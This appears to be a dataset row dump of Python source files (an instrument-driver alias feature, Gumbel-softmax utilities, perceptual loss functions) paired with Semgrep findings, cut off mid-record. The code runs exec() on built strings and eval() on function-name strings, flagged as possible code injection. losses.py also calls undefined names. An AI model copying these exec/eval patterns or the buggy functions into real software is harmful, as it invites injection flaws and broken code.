added
stringdate
2024-11-18 17:59:49
2024-11-19 03:44:43
created
int64
126B
2,086B
id
stringlengths
40
40
int_score
int64
2
5
metadata
dict
score
float64
2.31
5.41
source
stringclasses
1 value
text
stringlengths
259
26.9k
num_lines
int64
16
649
avg_line_length
float64
15
61
max_line_length
int64
31
179
ast_depth
int64
8
40
length
int64
101
3.8k
lang
stringclasses
1 value
sast_semgrep_findings
stringlengths
1.17k
878k
sast_semgrep_findings_count
int64
1
629
sast_semgrep_success
bool
1 class
sast_semgrep_error
stringclasses
1 value
cwe_ids
listlengths
1
561
rule_ids
listlengths
1
561
subcategories
listlengths
1
561
confidences
listlengths
1
561
severities
listlengths
1
561
line_starts
listlengths
1
561
line_ends
listlengths
1
561
column_starts
listlengths
1
561
column_ends
listlengths
1
561
owasp_categories
listlengths
1
561
messages
listlengths
1
561
cvss_scores
listlengths
1
561
likelihoods
listlengths
1
561
impacts
listlengths
1
561
filename
stringlengths
4
105
path
stringlengths
5
372
repo_name
stringlengths
5
115
license
stringclasses
452 values
2024-11-18T18:05:43.388874+00:00
1,567,036,262,000
912041d1cee909d29a9b46991268ac30470556ff
3
{ "blob_id": "912041d1cee909d29a9b46991268ac30470556ff", "branch_name": "refs/heads/master", "committer_date": 1567036262000, "content_id": "c6d2536833fc35c3e025cd9d5cea56298f7fe360", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "ca5fc43049f94a794d90a561fd8126f02b603599", "extension": "py", "filename": "alias.py", "fork_events_count": 0, "gha_created_at": 1469110078000, "gha_event_created_at": 1527068726000, "gha_language": "Python", "gha_license_id": "BSD-3-Clause", "github_id": 63874745, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2632, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/i3py/core/features/alias.py", "provenance": "stack-edu-0054.json.gz:568753", "repo_name": "Exopy/i3py", "revision_date": 1567036262000, "revision_id": "6f004d3e2ee2b788fb4693606cc4092147655ce1", "snapshot_id": "32d9ee343d21d275680a2d030b660a80960e99ac", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/Exopy/i3py/6f004d3e2ee2b788fb4693606cc4092147655ce1/i3py/core/features/alias.py", "visit_date": "2022-02-18T21:51:16.423188" }
2.5625
stackv2
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright 2016-2017 by I3py Authors, see AUTHORS for more details. # # Distributed under the terms of the BSD license. # # The full license is in the file LICENCE, distributed with this software. # ----------------------------------------------------------------------------- """Feature whose value is mapped to another Feature. """ from types import MethodType from typing import Any, Dict, Callable from ..abstracts import AbstractHasFeatures from .feature import Feature, get_chain, set_chain GET_DEF =\ """def get(self, driver): return {} """ SET_DEF =\ """def set(self, driver, value): {} = value """ class Alias(Feature): """Feature whose value is mapped to another Feature. Parameters ---------- alias : str Path to the feature to which the alias refers to. The path should be dot separated and use leading dots to access to parent features. settable: bool, optional Boolean indicating if the alias can be used to set the value of the aliased feature. """ def __init__(self, alias: str, settable: bool=False) -> None: super(Alias, self).__init__(True, settable if settable else None) accessor = 'driver.' + '.'.join([p if p else 'parent' for p in alias.split('.')]) defs = GET_DEF.format(accessor) if settable: defs += '\n' + SET_DEF.format(accessor) loc: Dict[str, Callable] = {} exec(defs, globals(), loc) self.get = MethodType(loc['get'], self) # type: ignore if settable: self.set = MethodType(loc['set'], self) # type: ignore def post_set(self, driver: AbstractHasFeatures, value: Any, i_value: Any, response: Any): """Re-implemented here as an Alias does not need to do anything by default. """ pass # ========================================================================= # --- Private API --------------------------------------------------------- # ========================================================================= def _get(self, driver: AbstractHasFeatures): """Re-implemented so that Alias never use the cache. """ with driver.lock: return get_chain(self, driver) def _set(self, driver: AbstractHasFeatures, value: Any): """Re-implemented so that Alias never uses the cache. """ with driver.lock: set_chain(self, driver, value)
90
28.24
79
16
535
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_715a30efc2342539_ee5be2eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 9, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/715a30efc2342539.py", "start": {"line": 60, "col": 9, "offset": 1581}, "end": {"line": 60, "col": 35, "offset": 1607}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 60 ]
[ 60 ]
[ 9 ]
[ 35 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
alias.py
/i3py/core/features/alias.py
Exopy/i3py
BSD-3-Clause
2024-11-18T18:05:43.895243+00:00
1,619,674,139,000
c814a34864a4158acf4e1abbbb583376f3efad66
3
{ "blob_id": "c814a34864a4158acf4e1abbbb583376f3efad66", "branch_name": "refs/heads/master", "committer_date": 1619674139000, "content_id": "8b45c9393b96c8f7482a7754a3078e8eb2a7bbc4", "detected_licenses": [ "MIT" ], "directory_id": "4790aa158050f52b2f0fa990467774c5276b4bc8", "extension": "py", "filename": "utils_math.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6388, "license": "MIT", "license_type": "permissive", "path": "/utils/utils_math.py", "provenance": "stack-edu-0054.json.gz:568759", "repo_name": "yff12345/bsc_lcs", "revision_date": 1619674139000, "revision_id": "4076fd40656efee3365f10d4e2fd7e7d88d524a4", "snapshot_id": "6024a6dd0ed82e35dd2acd8def1b9d480c84d28e", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/yff12345/bsc_lcs/4076fd40656efee3365f10d4e2fd7e7d88d524a4/utils/utils_math.py", "visit_date": "2023-04-12T13:47:02.626502" }
2.640625
stackv2
import numpy as np import torch import torch.nn.functional as F def sample_gumbel(shape, eps=1e-10): """ NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py Sample from Gumbel(0, 1) based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb , (MIT license) """ U = torch.rand(shape).float() return -torch.log(eps - torch.log(U + eps)) def gumbel_softmax_sample(logits, temp=1, eps=1e-10, dim=-1): """ NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py Draw a sample from the Gumbel-Softmax distribution based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb (MIT license) """ gumbel_noise = sample_gumbel(logits.size(), eps=eps) if logits.is_cuda: gumbel_noise = gumbel_noise.cuda() y = logits + gumbel_noise return F.softmax(y / temp, dim=dim) def gumbel_softmax(logits, temp=1, hard=False, eps=1e-10, dim=-1): """ NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py Added dimension selection feature. based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb , (MIT license) """ y_soft = gumbel_softmax_sample(logits, temp=temp, eps=eps, dim=dim) if hard: shape = logits.size() _, idx = y_soft.max(dim=dim, keepdim=True) # this bit is based on # https://discuss.pytorch.org/t/stop-gradients-for-st-gumbel-softmax/530/5 y_hard = torch.zeros_like(y_soft) if y_soft.is_cuda: y_hard = y_hard.cuda() y_hard = y_hard.zero_().scatter_(dim, idx, 1.0) y = (y_hard - y_soft).detach() + y_soft else: y = y_soft return y def threshold_sampling(logits, threshold=0.5, hard=False): """ Omit Gumbel sampling for deterministic sampling. """ y_soft = torch.sigmoid(logits) y_hard = y_soft.ge(threshold).to(y_soft.device, dtype=torch.float32) y = (y_hard - y_soft).detach() + y_soft return y def threshold_sampling_v2(logits, threshold=0.5, hard=False): """ Omit Gumbel sampling for deterministic sampling. V2 different: no sigmoid in sampling function (sigmoid is applied at logit function) """ # y_soft = torch.sigmoid(logits) y_soft = logits y_hard = y_soft.ge(threshold).to(y_soft.device, dtype=torch.float32) y = (y_hard - y_soft).detach() + y_soft return y def binary_accuracy(output, labels): preds = output > 0.5 correct = preds.type_as(labels).eq(labels).double() correct = correct.sum() return correct / len(labels) def encode_onehot(labels): classes = set(labels) classes_dict = { c: np.identity(len(classes))[i, :] for i, c in enumerate(classes) } labels_onehot = np.array(list(map(classes_dict.get, labels)), dtype=np.int32) return labels_onehot def get_triu_indices(num_nodes): """Linear triu (upper triangular) indices.""" ones = torch.ones(num_nodes, num_nodes) eye = torch.eye(num_nodes, num_nodes) triu_indices = (ones.triu() - eye).nonzero().t() triu_indices = triu_indices[0] * num_nodes + triu_indices[1] return triu_indices def get_tril_indices(num_nodes): """Linear tril (lower triangular) indices.""" ones = torch.ones(num_nodes, num_nodes) eye = torch.eye(num_nodes, num_nodes) tril_indices = (ones.tril() - eye).nonzero().t() tril_indices = tril_indices[0] * num_nodes + tril_indices[1] return tril_indices def get_offdiag_indices(num_nodes): """Linear off-diagonal indices.""" ones = torch.ones(num_nodes, num_nodes) eye = torch.eye(num_nodes, num_nodes) offdiag_indices = (ones - eye).nonzero().t() offdiag_indices = offdiag_indices[0] * num_nodes + offdiag_indices[1] return offdiag_indices def get_triu_offdiag_indices(num_nodes): """Linear triu (upper) indices w.r.t. vector of off-diagonal elements.""" triu_idx = torch.zeros(num_nodes * num_nodes) triu_idx[get_triu_indices(num_nodes)] = 1. triu_idx = triu_idx[get_offdiag_indices(num_nodes)] return triu_idx.nonzero() def get_tril_offdiag_indices(num_nodes): """Linear tril (lower) indices w.r.t. vector of off-diagonal elements.""" tril_idx = torch.zeros(num_nodes * num_nodes) tril_idx[get_tril_indices(num_nodes)] = 1. tril_idx = tril_idx[get_offdiag_indices(num_nodes)] return tril_idx.nonzero() def mat_to_offdiag(inputs, num_atoms, num_edge_types): off_diag_idx = np.ravel_multi_index( np.where(np.ones((num_atoms, num_atoms)) - np.eye(num_atoms)), [num_atoms, num_atoms]).astype(np.int32) num_edges = (num_atoms * num_atoms) - num_atoms if not inputs.is_contiguous(): inputs = inputs.contiguous() inputs = inputs.view(-1, num_edge_types, num_atoms * num_atoms) inputs = torch.transpose(inputs, 2, 1) off_diag_idx = torch.LongTensor(off_diag_idx) if inputs.is_cuda: off_diag_idx = off_diag_idx.cuda() mat_offdiag = torch.index_select(inputs, 1, off_diag_idx).contiguous() return mat_offdiag def offdiag_to_mat(inputs, num_nodes): off_diag_idx = np.ravel_multi_index( np.where(np.ones((num_nodes, num_nodes)) - np.eye(num_nodes)), [num_nodes, num_nodes]).astype(np.int32) batch_size = inputs.size(0) edge_types = inputs.size(2) output = torch.zeros((batch_size, num_nodes * num_nodes, edge_types)) if inputs.is_cuda: output = output.cuda() output[:, off_diag_idx, :] = inputs output = output.view(batch_size, num_nodes, num_nodes, edge_types) return output def sample_graph(logits, args): if args.deterministic_sampling: edges = threshold_sampling(logits, threshold=args.threshold) else: edges = gumbel_softmax(logits, temp=args.temp, hard=args.hard) return edges def sample_graph_v2(logits, args): if args.deterministic_sampling: edges = threshold_sampling_v2(logits, threshold=args.threshold) else: edges = gumbel_softmax(logits, temp=args.temp, hard=args.hard) return edges
201
30.78
118
16
1,799
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_a2b042502ae2f5b4_d50af3ea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant logits.is_cuda() because logits.is_cuda is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/a2b042502ae2f5b4.py", "start": {"line": 31, "col": 8, "offset": 941}, "end": {"line": 31, "col": 22, "offset": 955}, "extra": {"message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant logits.is_cuda() because logits.is_cuda is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_a2b042502ae2f5b4_8835219f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant y_soft.is_cuda() because y_soft.is_cuda is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/a2b042502ae2f5b4.py", "start": {"line": 55, "col": 12, "offset": 1785}, "end": {"line": 55, "col": 26, "offset": 1799}, "extra": {"message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant y_soft.is_cuda() because y_soft.is_cuda is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_a2b042502ae2f5b4_22890543", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant inputs.is_cuda() because inputs.is_cuda is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 162, "line_end": 162, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/a2b042502ae2f5b4.py", "start": {"line": 162, "col": 8, "offset": 5222}, "end": {"line": 162, "col": 22, "offset": 5236}, "extra": {"message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant inputs.is_cuda() because inputs.is_cuda is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_a2b042502ae2f5b4_3e9f1477", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant inputs.is_cuda() because inputs.is_cuda is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 177, "line_end": 177, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/a2b042502ae2f5b4.py", "start": {"line": 177, "col": 8, "offset": 5728}, "end": {"line": 177, "col": 22, "offset": 5742}, "extra": {"message": "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant inputs.is_cuda() because inputs.is_cuda is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 31, 55, 162, 177 ]
[ 31, 55, 162, 177 ]
[ 8, 12, 8, 8 ]
[ 22, 26, 22, 22 ]
[ "", "", "", "" ]
[ "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant logits.is_cuda() because logits.is_cuda is always true.", "Is \"is_cuda\" a function or an attribute? If it is a function, you may have meant y_soft.is_cuda() because y_soft.is_cuda is always true.", "Is \"is_cuda\" a function o...
[ 5, 5, 5, 5 ]
[ "", "", "", "" ]
[ "", "", "", "" ]
utils_math.py
/utils/utils_math.py
yff12345/bsc_lcs
MIT
2024-11-18T18:05:44.308384+00:00
1,578,981,575,000
8d0411d1a3851550c8d731400213ff48f1c3b0c7
2
{ "blob_id": "8d0411d1a3851550c8d731400213ff48f1c3b0c7", "branch_name": "refs/heads/master", "committer_date": 1578981575000, "content_id": "e86b6be15675ecfb59b4c74485893d83221a5f43", "detected_licenses": [ "MIT" ], "directory_id": "8142e588999503979e1cd9d1989cdd43dc9417d6", "extension": "py", "filename": "losses.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11390, "license": "MIT", "license_type": "permissive", "path": "/evkit/utils/losses.py", "provenance": "stack-edu-0054.json.gz:568764", "repo_name": "lilujunai/side-tuning", "revision_date": 1578981575000, "revision_id": "dea345691fb7ee0230150fe56ddd644efdffa6ac", "snapshot_id": "07a0e2015fcb7f3699f749fb233b95ceba449277", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lilujunai/side-tuning/dea345691fb7ee0230150fe56ddd644efdffa6ac/evkit/utils/losses.py", "visit_date": "2021-02-26T23:52:13.468928" }
2.390625
stackv2
from evkit.models.taskonomy_network import TaskonomyDecoder from tlkit.utils import SINGLE_IMAGE_TASKS, TASKS_TO_CHANNELS, FEED_FORWARD_TASKS import torch import torch.nn.functional as F def softmax_cross_entropy(inputs, target, weight=None, cache={}, size_average=None, ignore_index=-100, reduce=None, reduction='mean'): cache['predictions'] = inputs cache['labels'] = target if len(target.shape) == 2: # unsqueeze one-hot representation target = torch.argmax(target, dim=1) loss = F.cross_entropy(inputs, target, weight) # when working with 2D data, cannot use spatial weight mask, it becomes categorical/class return {'total': loss, 'xentropy': loss} def heteroscedastic_normal(mean_and_scales, target, weight=None, cache={}, eps=1e-2): mu, scales = mean_and_scales loss = (mu - target)**2 / (scales**2 + eps) + torch.log(scales**2 + eps) # return torch.sum(weight * loss) / torch.sum(weight) if weight is not None else loss.mean() loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean() return {'total': loss, 'nll': loss} def heteroscedastic_double_exponential(mean_and_scales, target, weight=None, cache={}, eps=5e-2): mu, scales = mean_and_scales loss = torch.abs(mu - target) / (scales + eps) + torch.log(2.0 * (scales + eps)) loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean() return {'total': loss, 'nll': loss} def weighted_mse_loss(inputs, target, weight=None, cache={}): losses = {} cache['predictions'] = inputs cache['labels'] = target if weight is not None: # sq = (inputs - target) ** 2 # weightsq = torch.sum(weight * sq) loss = torch.mean(weight * (inputs - target) ** 2)/torch.mean(weight) else: loss = F.mse_loss(inputs, target) return {'total': loss, 'mse': loss} weighted_l2_loss = weighted_mse_loss def weighted_l1_loss(inputs, target, weight=None, cache={}): target = target.float() if weight is not None: loss = torch.mean(weight * torch.abs(inputs - target))/torch.mean(weight) else: loss = F.l1_loss(inputs, target) return {'total': loss, 'l1': loss} def perceptual_l1_loss(decoder_path, bake_decodings): task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0] decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS) checkpoint = torch.load(decoder_path) decoder.load_state_dict(checkpoint['state_dict']) decoder.cuda() decoder.eval() print(f'Loaded decoder from {decoder_path} for perceptual loss') def runner(inputs, target, weight=None, cache={}): # the last arguments are so we can 'cache' and pass the decodings outside inputs_decoded = decoder(inputs) targets_decoded = target if bake_decodings else decoder(target) cache['predictions'] = inputs_decoded cache['labels'] = targets_decoded if weight is not None: loss = torch.mean(weight * torch.abs(inputs_decoded - targets_decoded))/torch.mean(weight) else: loss = F.l1_loss(inputs_decoded, targets_decoded) return {'total': loss, 'perceptual_l1': loss} return runner def perceptual_l2_loss(decoder_path, bake_decodings): task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0] decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS) checkpoint = torch.load(decoder_path) decoder.load_state_dict(checkpoint['state_dict']) decoder.cuda() decoder.eval() print(f'Loaded decoder from {decoder_path} for perceptual loss') def runner(inputs, target, weight=None, cache={}): # the last arguments are so we can 'cache' and pass the decodings outside inputs_decoded = decoder(inputs) targets_decoded = target if bake_decodings else decoder(target) cache['predictions'] = inputs_decoded cache['labels'] = targets_decoded if weight is not None: loss = torch.mean(weight * (inputs_decoded - targets_decoded) ** 2)/torch.mean(weight) else: loss = F.mse_loss(inputs_decoded, targets_decoded) return {'total': loss, 'perceptual_mse': loss} return runner def dense_softmax_cross_entropy_loss(inputs, targets, cache={}): # these should be logits (batch_size, n_class) batch_size, _ = targets.shape losses = {} losses['final'] = -1. * torch.sum(torch.softmax(targets.float(), dim=1) * F.log_softmax(inputs.float(), dim=1)) / batch_size losses['standard'] = losses['final'] return losses def dense_cross_entropy_loss_(inputs, targets): # these should be logits (batch_size, n_class) batch_size, _ = targets.shape return -1. * torch.sum(targets * F.log_softmax(inputs, dim=1)) / batch_size # def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}): # assert weight == None # cache['predictions'] = inputs # cache['labels'] = targets # # print(targets.shape) # batch_size, _ = targets.shape # loss = -1. * torch.sum(torch.softmax(targets, dim=1) * F.log_softmax(inputs, dim=1)) / batch_size # loss = F.mse_loss(inputs, targets.detach()) # return {'total': loss, 'xentropy': loss} def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}): assert weight is None cache['predictions'] = inputs cache['labels'] = targets batch_size, _ = targets.shape loss = -1. * torch.sum(torch.softmax(targets.detach(), dim=1) * F.log_softmax(inputs, dim=1)) / batch_size # loss = F.mse_loss(inputs, targets.detach()) return {'total': loss, 'xentropy': loss} def dense_cross_entropy(inputs, targets, weight=None, cache={}): assert weight == None cache['predictions'] = inputs cache['labels'] = targets batch_size, _ = targets.shape loss = -1. * torch.sum(targets.detach() * F.log_softmax(inputs, dim=1)) / batch_size # loss = F.mse_loss(inputs, targets.detach()) return {'total': loss, 'xentropy': loss} def perceptual_cross_entropy_loss(decoder_path, bake_decodings): task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0] decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS) checkpoint = torch.load(decoder_path) decoder.load_state_dict(checkpoint['state_dict']) decoder.cuda() decoder.eval() print(f'Loaded decoder from {decoder_path} for perceptual loss') def runner(inputs, target, weight=None, cache={}): # the last arguments are so we can 'cache' and pass the decodings outside inputs_decoded = decoder(inputs) targets_decoded = target if bake_decodings else decoder(target) cache['predictions'] = inputs_decoded cache['labels'] = targets_decoded return dense_softmax_cross_entropy_loss_(inputs_decoded, targets_decoded) return runner def identity_regularizer(loss_fn, model): def runner(inputs, target, weight=None, cache={}): losses = loss_fn(inputs, target, weight, cache) return losses return runner def transfer_regularizer(loss_fn, model, reg_loss_fn='F.l1_loss', coef=1e-3): def runner(inputs, target, weight=None, cache={}): orig_losses = loss_fn(inputs, target, weight, cache) #if isinstance(model, PolicyWithBase): if type(model).__name__ == "PolicyWithBase": # Imitation Learning - retreive encodings via the cache assert 'base_encoding' in cache and 'transfered_encoding' in cache, f'cache is missing keys {cache.keys()}' regularization_loss = 0 for base_encoding, transfered_encoding in zip(cache['base_encoding'], cache['transfered_encoding']): regularization_loss += eval(reg_loss_fn)(model.base.perception_unit.sidetuner.net.transfer_network(base_encoding), transfered_encoding) else: # Vision Transfers - retreive encodings directly from model attributes # (cannot do this for IL due to the FrameStacked being iterative) assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used' regularization_loss = eval(reg_loss_fn)(model.transfer_network(model.base_encoding), model.transfered_encoding) orig_losses.update({ 'total': orig_losses['total'] + coef * regularization_loss, 'weight_tying': regularization_loss, }) return orig_losses return runner def perceptual_regularizer(loss_fn, model, coef=1e-3, decoder_path=None, use_transfer=True, reg_loss_fn='F.mse_loss'): # compares model.base_encoding E(x) and model.transfered_encoding T(E(x) + S(x)) # use_transfer means we will compare exactly above # use_transfer=False means we will compare model.base_encoding E(x) and model.merged_encoding E(x) + S(x) # Recall, decoder requires unnormalized inputs! assert decoder_path is not None, 'Pass in a decoder to which to transform our parameters and regularize on' task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0] decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS) checkpoint = torch.load(decoder_path) decoder.load_state_dict(checkpoint['state_dict']) decoder.cuda() decoder.eval() if task in FEED_FORWARD_TASKS: reg_loss_fn = "dense_softmax_cross_entropy_loss_" else: reg_loss_fn = "F.l1_loss" print(f'Loaded decoder from {decoder_path} for perceptual loss') def runner(inputs, target, weight=None, cache={}): orig_losses = loss_fn(inputs, target, weight, cache) if type(model).__name__ == "PolicyWithBase": # Imitation Learning - retreive encodings via the cache assert 'base_encoding' in cache, f'cache is missing base {cache.keys()}' if use_transfer: assert 'transfered_encoding' in cache, f'cache is missing tied {cache.keys()}' tied_encodings = cache['transfered_encoding'] else: assert 'merged_encoding' in cache, f'cache is missing tied{cache.keys()}' tied_encodings = cache['merged_encoding'] regularization_loss = 0 for base_encoding, tied_encoding in zip(cache['base_encoding'], tied_encodings): regularization_loss += eval(reg_loss_fn)(decoder(base_encoding), decoder(tied_encoding)) else: # Vision Transfers - retreive encodings directly from model attributes # (cannot do this for IL due to the FrameStacked being iterative) assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used' if use_transfer: tied_encoding = model.transfered_encoding else: tied_encoding = model.merged_encoding losses['weight_tying'] = eval(reg_loss_fn)(decoder(model.base_encoding), decoder(tied_encoding)) regularization_loss = reg_loss_fn(decoder(model.base_encoding), decoder(tied_encoding)) orig_losses.update({ 'total': orig_losses['total'] + coef * regularization_loss, 'weight_tying': regularization_loss, }) return orig_losses return runner
235
47.47
151
20
2,680
python
[{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_241b7cca", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, 